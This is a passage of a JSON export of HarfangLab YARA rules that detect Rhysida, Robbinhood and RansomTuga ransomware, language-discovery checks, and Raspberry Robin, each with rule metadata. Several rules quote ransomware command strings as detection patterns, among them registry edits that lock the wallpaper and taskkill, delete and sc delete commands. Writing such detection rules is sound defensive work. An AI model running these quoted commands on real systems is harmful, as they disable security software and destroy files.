??                      // movzx   eax, dx\n            6B C8 ??                      // imul    ecx, eax, 3Ah ; ':'\n        }\n\n        $crypt2 = {\n            F2 0F 70 C2 D8                // pshuflw xmm0, xmm2, 0D8h\n            F3 0F 70 C8 D8                // pshufhw xmm1, xmm0, 0D8h\n            66 0F 70 D1 D8                // pshufd  xmm2, xmm1, 0D8h\n        }\n\n    condition:\n        4 of ($s*) or\n        (\n            2 of ($s*) and\n            #crypt1 > 5 and\n            #crypt2 > 5\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomtuga"
+  ],
+  "rule_creation_date": "2024-04-03",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.RansomTuga"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_rhysida_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574304Z",
+  "creation_date": "2026-03-23T11:46:25.574307Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574317Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "ransomware_rhysida.yar",
+  "content": "rule ransomware_rhysida {\n    meta:\n        title = \"Rhysida Ransomware\"\n        id = \"640d9662-61d0-4ef4-8067-79e98239389a\"\n        description = \"Detects the Rhysida ransomware.\\nRhysida is a ransomware that employs AES and CHACHA20 encryption to encrypt victim files.\\nIt creates a ransomware note on disk and modifies the wallpaper to display a message demanding payment.\"\n        references = \"Internal Research\"\n        date = \"2023-05-16\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1486\"\n        classification = \"Windows.Ransomware.Rhysida\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6\n\n        $crypto_str_1 = \"src/stream/chacha/chacha_setup.c\" fullword ascii\n        $crypto_str_2 = \"src/pk/rsa/rsa_encrypt_key.c\" fullword ascii\n        $crypto_str_3 = \"src/pk/rsa/rsa_exptmod.c\" fullword ascii\n        $crypto_str_4 = \"src/pk/rsa/rsa_import.c\" fullword ascii\n        $crypto_str_5 = \"src/pk/rsa/rsa_make_key.c\" fullword ascii\n        $crypto_str_6 = \"keylen == 32 || keylen == 16\" fullword ascii\n\n        $pdf_str_1 = \"/Producer\" ascii\n        $pdf_str_2 = \"/Author\" ascii\n        $pdf_str_3 = \"/Title\" ascii\n        $pdf_str_4 = \"/Subject\" ascii\n        $pdf_str_5 = \"/Creator\" ascii\n        $pdf_str_6 = \"/Keywords\" ascii\n        $pdf_str_7 = \"/Filter /FlateDecode\" ascii\n\n        $rhysida_str_1 = \"cmd.exe /c reg delete \\\"HKCU\\\\Conttol Panel\\\\Desktop\\\" /v Wallpaper /f\" fullword ascii\n        $rhysida_str_2 = \"cmd.exe /c reg delete \\\"HKCU\\\\Conttol Panel\\\\Desktop\\\" /v WallpaperStyle /f\" fullword ascii\n        $rhysida_str_3 = \"cmd.exe /c reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\ActiveDesktop\\\" /v NoChangingWallPaper /t REG_SZ /d 1 /f\" fullword ascii\n        $rhysida_str_4 = \"cmd.exe /c reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\ActiveDesktop\\\" /v NoChangingWallPaper /t REG_SZ /d 1 /f\" fullword ascii\n        $rhysida_str_5 = \"cmd.exe /c reg add \\\"HKCU\\\\Control Panel\\\\Desktop\\\" /v Wallpaper /t REG_SZ /d\" ascii\n        $rhysida_str_6 = \"cmd.exe /c reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v Wallpaper /t REG_SZ /d\" ascii\n        $rhysida_str_7 = \"cmd.exe /c reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v WallpaperStyle /t REG_SZ /d 2 /f\" fullword ascii\n        $rhysida_str_8 = \"cmd.exe /c reg add \\\"HKCU\\\\Control Panel\\\\Desktop\\\" /v WallpaperStyle /t REG_SZ /d 2 /f\" fullword ascii\n        $rhysida_str_9 = \"rundll32.exe user32.dll,UpdatePerUserSystemParameters\" fullword ascii\n        $rhysida_str_10 = \"ERROR rename file %s to %s %d\" fullword ascii\n        $rhysida_str_11 = \"ERROR open file_to_crypt %s\" fullword ascii\n        $rhysida_str_12 = \"file_to_crypt size [%ld] bytes\" fullword ascii\n        $rhysida_str_13 = \"ERROR rsa_encrypt_key %s\" fullword ascii\n        $rhysida_str_14 = \"ERROR rsa_encrypt_IV %s\" fullword ascii\n        $rhysida_str_15 = \"Processing block [%d] from file [%s] [%d]/[%ld] size\" fullword ascii\n        $rhysida_str_16 = \"ERROR fread file_to_crypt [%d] [%d] [%s]\" fullword ascii\n        $rhysida_str_17 = \"Start xxx_encrypt\" fullword ascii\n        $rhysida_str_18 = \"ERROR xxx_encrypt %lu %s %s\" fullword ascii\n        $rhysida_str_19 = \"ERROR fread file_to_crypt %s %lu\" fullword ascii\n        $rhysida_str_20 = \"ERROR cipher key crypted length %ld\" fullword ascii\n        $rhysida_str_21 = \"ERROR cipher IV crypted length %ld\" fullword ascii\n        $rhysida_str_22 = \"ERROR fwrite cipher_IV_out %d %lu\" fullword ascii\n        $rhysida_str_23 = \"Query ending...\" fullword ascii\n        $rhysida_str_24 = \"ERROR fwrite cipher_key_out %d %lu\" fullword ascii\n        $rhysida_str_25 = \"ERROR rsa_import_key public\" fullword ascii\n        $rhysida_str_26 = \"ERROR Unable to register aes_enc_desc cipher %s\" fullword ascii\n        $rhysida_str_27 = \"ERROR Cipher AES not found\" fullword ascii\n        $rhysida_str_28 = \"ERROR register CHC hash %s\" fullword ascii\n        $rhysida_str_29 = \"ERROR binding AES to CHC %s\" fullword ascii\n        $rhysida_str_30 = \"ERROR Hash CHC not found\" fullword ascii\n        $rhysida_str_31 = \"ERROR AES getting key size %s\" fullword ascii\n\n        // File filtering\n        $op_1 = {\n            0F 85 ?? ?? ?? ??        // jnz     loc_417A53\n            48 8D 05 ?? ?? ?? ??     // lea     rax, QUERY_FILE_POSS\n            48 8B 00                 // mov     rax, [rax]\n            8B 55 ??                 // mov     edx, [rbp+thread_n]\n            48 63 D2                 // movsxd  rdx, edx\n            48 C1 E2 02              // shl     rdx, 2\n            48 01 D0                 // add     rax, rdx\n            8B 00                    // mov     eax, [rax]\n            3D FF 03 00 00           // cmp     eax, 3FFh\n        }\n\n        // PRNG initialization\n        $op_2 = {\n            83 7D FC 27              // cmp     [rbp+i], 27h ; '''\n            7E ??                    // jle     short loc_4196CD\n            48 8D 45 ??              // lea     rax, [rbp+prng_entr]\n            4C 8B 45 ??              // mov     r8, [rbp+prng_val]\n            BA 28 00 00 00           // mov     edx, 28h ; '('\n            48 89 C1                 // mov     rcx, rax\n            E8 ?? ?? ?? ??           // call    chacha20_prng_add_entropy\n            89 45 ??                 // mov     [rbp+err], eax\n            83 7D ?? 00              // cmp     [rbp+err], 0\n            74 ??                    // jz      short loc_41973D\n            B8 04 00 00 00           // mov     eax, 4\n        }\n\n        // Filtering out files with executable extensions\n        $op_3 = {\n            48 C1 E0 02              // shl     rax, 2\n            48 01 C8                 // add     rax, rcx\n            48 8D 14 85 00 00 00 00  // lea     rdx, ds:0[rax*4]\n            48 8D 05 ?? ?? ?? ??     // lea     rax, exclude_extensions ; \".\"\n            8B 04 02                 // mov     eax, [rdx+rax]\n            83 F8 40                 // cmp     eax, 40h ; '@'\n            0F 8E ?? ?? ?? ??        // jle     loc_416BB1\n            8B 45 ??                 // mov     eax, [rbp+exclude_c]\n            48 63 C8                 // movsxd  rcx, eax\n            8B 45 ??                 // mov     eax, [rbp+exclude_i]\n            48 63 D0                 // movsxd  rdx, eax\n            48 89 D0                 // mov     rax, rdx\n            48 01 C0                 // add     rax, rax\n            48 01 D0                 // add     rax, rdx\n            48 C1 E0 02              // shl     rax, 2\n            48 01 C8                 // add     rax, rcx\n            48 8D 14 85 00 00 00 00  // lea     rdx, ds:0[rax*4]\n        }\n\n    condition:\n        (4 of ($crypto_str_*) and 4 of ($pdf_str_*) and 7 of ($rhysida_str_*)) or all of ($op_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_rhysida"
+  ],
+  "rule_creation_date": "2023-05-16",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Rhysida"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_robbinhood_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566690Z",
+  "creation_date": "2026-03-23T11:46:25.566692Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566698Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/"
+  ],
+  "name": "ransomware_robbinhood_driver.yar",
+  "content": "rule ransomware_robbinhood_driver {\n    meta:\n        title = \"Robbinhood Ransomware Driver\"\n        id = \"82818947-11a0-4595-b0e8-7a19a7d80305\"\n        description = \"Detects the Robbinhood ransomware driver.\\nThis malware is loaded by a vulnerable signed driver and can terminate security solutions to maintain persistence and evade detection.\\nThe driver is known to remove security software from the system, potentially allowing the ransomware to operate undetected.\"\n        references = \"https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/\"\n        date = \"2022-07-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Ransomware.Robbinhood\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 0b15b5cc64caf0c6ad9bd759eb35383b1f718edf3d7ab4cd912d0d8c1826edf8\n\n        $s1 = \"C:\\\\Users\\\\Mikhail\\\\Desktop\\\\Robnhold\\\\x64\\\\Win7Release\\\\Robbnhold.pdb\" fullword ascii\n        $s2 = \"\\\\Device\\\\Robnhold\" fullword wide\n        $s3 = \"\\\\DosDevices\\\\Robnhold\" fullword wide\n        $s4 = \"\\\\DosDevices\\\\A:\\\\\" fullword wide\n        $s5 = \"PsAcquireProcessExitSynchronization\" fullword wide\n\n        $robn_tag = { 52 6F 62 6E } // \"Robn\" tag\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 200KB and 3 of ($s*) and #robn_tag > 2\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_robbinhood_driver"
+  ],
+  "rule_creation_date": "2022-07-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Robbinhood"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_robbinhood_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583206Z",
+  "creation_date": "2026-03-23T11:46:25.583209Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583217Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/"
+  ],
+  "name": "ransomware_robbinhood.yar",
+  "content": "rule ransomware_robbinhood {\n    meta:\n        title = \"Robbinhood Ransomware\"\n        id = \"efc7eed5-a2bc-4a4d-9f8a-34715df03530\"\n        description = \"Detects the Robbinhood ransomware.\\nRobbinhood is a ransomware that is packed with UPX and uses custom and vulnerable kernel drivers to disable security solutions.\"\n        references = \"https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/\"\n        date = \"2022-08-01\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Ransomware.Robbinhood\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 74ca4283ccc55c82bdf55a4056efda889c9fbe017279829b32109462b753af73\n\n        $s1 = \"RBNLDrv\" fullword ascii\n        $s2 = \"rbnl.sys\" fullword ascii\n        $s3 = \"gdrv.sys\" fullword ascii\n        $s4  = \"\\\\\\\\.\\\\%s\" fullword wide\n        $s5  = \"!GIODrv\" fullword wide\n        $s6  = \"\\\\temp\\\\rbnl.sys\" fullword wide\n        $s7  = \"RBNLDrv\" fullword wide\n        $s8  = \"Robnhold\" fullword wide\n        $s9  = \"\\\\temp\\\\gdrv.sys\" fullword wide\n        $s10 = \"SeLoadDriverPrivilege\" fullword ascii\n\n        // Custom executable copy from specific structure\n        $op1 = {\n            8B C3                 // mov     eax, ebx\n            48 69 D0 28 01 00 00  // imul    rdx, rax, 128h\n            0F B7 4C ?? ??        // movzx   ecx, word ptr [rdx+rdi+2Eh]\n            48 83 C2 30           // add     rdx, 30h ; '0'\n            48 03 CA              // add     rcx, rdx\n            48 8B D5              // mov     rdx, rbp        ; Str2\n            48 03 CF              // add     rcx, rdi        ; Str1\n            E8 ?? ?? ?? ??        // call    _stricmp\n            85 C0                 // test    eax, eax\n            74 ??                 // jz      short loc_140002E8C\n            FF C3                 // inc     ebx\n            3B 1F                 // cmp     ebx, [rdi]\n        }\n\n        // Navigating through CI image sections\n        $op2 = {\n            48 83 EC 50        // sub     rsp, 50h\n            B8 4D 5A 00 00     // mov     eax, 5A4Dh\n            48 8B E9           // mov     rbp, rcx\n            66 39 01           // cmp     [rcx], ax\n            74 ??              // jz      short loc_140002B3F\n            33 C0              // xor     eax, eax\n            48 83 C4 50        // add     rsp, 50h\n            5D                 // pop     rbp\n            C3                 // retn\n            48 63 ?? ??        // movsxd  rax, dword ptr [rcx+3Ch]\n            48 03 C1           // add     rax, rcx\n            81 38 50 45 00 00  // cmp     dword ptr [rax], 4550h\n            75 ??              // jnz     short loc_140002B37\n            [18-22]\n            B9 0B 02 00 00     // mov     ecx, 20Bh\n            [14-18]\n            48 05 88 00 00 00  // add     rax, 88h ; 'ˆ'\n            EB ??              // jmp     short loc_140002B83\n            48 83 C0 78        // add     rax, 78h ; 'x'\n        }\n\n        // Search for Windows version and CI function call\n        $op3 = {\n            81 3D ?? ?? ?? ?? AB 3F 00 00  // cmp     cs:gBuildNumber, 3FABh\n            8B DF                          // mov     ebx, edi\n            72 ??                          // jb      short loc_140002D16\n            8B F7                          // mov     esi, edi\n            0F 1F 80 00 00 00 00           // nop     dword ptr [rax+00000000h]\n            8B CB                          // mov     ecx, ebx\n            49 03 CE                       // add     rcx, r14\n            80 39 E8                       // cmp     byte ptr [rcx], 0E8h ; 'è'\n            75 ??                          // jnz     short loc_140002CEC\n            FF C6                          // inc     esi\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 400KB and 5 of ($s*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_robbinhood"
+  ],
+  "rule_creation_date": "2022-08-01",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Robbinhood"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_robinhood_steel_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569082Z",
+  "creation_date": "2026-03-23T11:46:25.569085Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569090Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/"
+  ],
+  "name": "ransomware_robinhood_steel.yar",
+  "content": "rule ransomware_robbinhood_steel {\n    meta:\n        title = \"Robbinhood Ransomware's STEEL Module\"\n        id = \"5e061e07-0ca0-4f3e-af82-12dbbf3f9b7d\"\n        description = \"Detects the Robbinhood ransomware's STEEL module.\\nThe STEEL module is responsible for terminating security solutions using a custom kernel driver. This module injects malicious code into legitimate system processes to gain elevated privileges and disrupt security measures.\\nIt is recommended to isolate the affected system and analyze the kernel driver for potential malicious activities.\"\n        references = \"https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/\"\n        date = \"2022-08-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Ransomware.Robbinhood\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 74ca4283ccc55c82bdf55a4056efda889c9fbe017279829b32109462b753af73\n\n        $str_drv_1 = \"NtLoadDriver\" fullword ascii\n        $str_drv_2 = \"gdrv.sys\" fullword ascii\n        $str_drv_3 = \"robnr.sys\" fullword ascii\n        $str_drv_4 = \"rbnl.sys\" fullword ascii\n        $str_drv_5 = \"NtUnloadDriver\" fullword ascii\n        $str_drv_6 = \"SeLoadDriverPrivilege\" fullword wide\n        $str_drv_7 = \"SeDebugPrivilege\" fullword wide\n        $str_drv_8 = \"RBNLDrv\" fullword ascii\n        $str_drv_9 = \"\\\\\\\\.\\\\Robnhold\" fullword wide\n\n        $str_other_1 = \"cmd.exe /c reg delete HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\\" fullword ascii\n        $str_other_2 = \"regedit /s \" fullword ascii\n        $str_other_3 = \"cmd.exe /c reg IMPORT \" fullword ascii\n        $str_other_4 = \"\\\\Registry\\\\Machine\\\\System\\\\CurrentControlSet\\\\Services\\\\\" fullword wide\n        $str_other_5 = \"sc delete\" fullword ascii\n        $str_other_6 = \"cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & taskkill /f /im %s & Del /f /q \\\"%s\\\"\" wide\n        $str_other_7 = \"cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \\\"%s\\\" & sc delete WindowsDeviceACL\" fullword wide\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 400KB and 5 of ($str_drv_*) and 4 of ($str_other_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ransomware_robbinhood_steel"
+  ],
+  "rule_creation_date": "2022-08-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Robbinhood"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ransomware_system_language_discovery_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583129Z",
+  "creation_date": "2026-03-23T11:46:25.583131Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583137Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/\nhttps://www.txone.com/blog/malware-analysis-lockbit-3-0/\nhttps://attack.mitre.org/techniques/T1614/001/"
+  ],
+  "name": "ransomware_system_language_discovery.yar",
+  "content": "rule system_language_discovery {\n    meta:\n        title = \"System Language Discovery\"\n        id = \"4d2f1821-4f93-49f5-9ef3-dabe58d35047\"\n        description = \"Detects binaries that attempt to gather information about the system language, a technique commonly used by the Darkside and LockBit ransomwares.\\nThis behavior is significant as certain ransomware variants, including Darkside and LockBit, check for specific system languages (e.g., Russian or Ukrainian) to avoid execution in non-targeted regions.\"\n        references = \"https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/\\nhttps://www.txone.com/blog/malware-analysis-lockbit-3-0/\\nhttps://attack.mitre.org/techniques/T1614/001/\"\n        date = \"2024-05-17\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1614.001\"\n        classification = \"Windows.Ransomware.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a18a6bacc0d8b1dd4544cdf1e178a98a36b575b5be8b307c27c65455b1307616\n        // 029c5d48e425206e2ae84a63d62bdbc80362702913b38618a423c541c8a0ed40\n        // cd727c8fc0303b9a77641cc43061fa6ae9de3a0af40fd525c4a745c1dcdd5965\n\n        $x1 = {\n            C1 E3 0A                    // shl     ebx, 0Ah\n            80 F3 01                    // xor     bl, 1\n            C0 E3 04                    // shl     bl, 4\n            80 F3 09                    // xor     bl, 9\n            66 3B DE                    // cmp     bx, si\n            74 ??                       // jz      short loc_4080F6\n            66 3B DF                    // cmp     bx, di\n            75 ??                       // jnz     short loc_4080FB\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "system_language_discovery"
+  ],
+  "rule_creation_date": "2024-05-17",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Ransomware.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1614.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-raspberryrobin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574963Z",
+  "creation_date": "2026-03-23T11:46:25.574965Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574970Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/\nhttps://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/\nhttps://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/"
+  ],
+  "name": "raspberryrobin.yar",
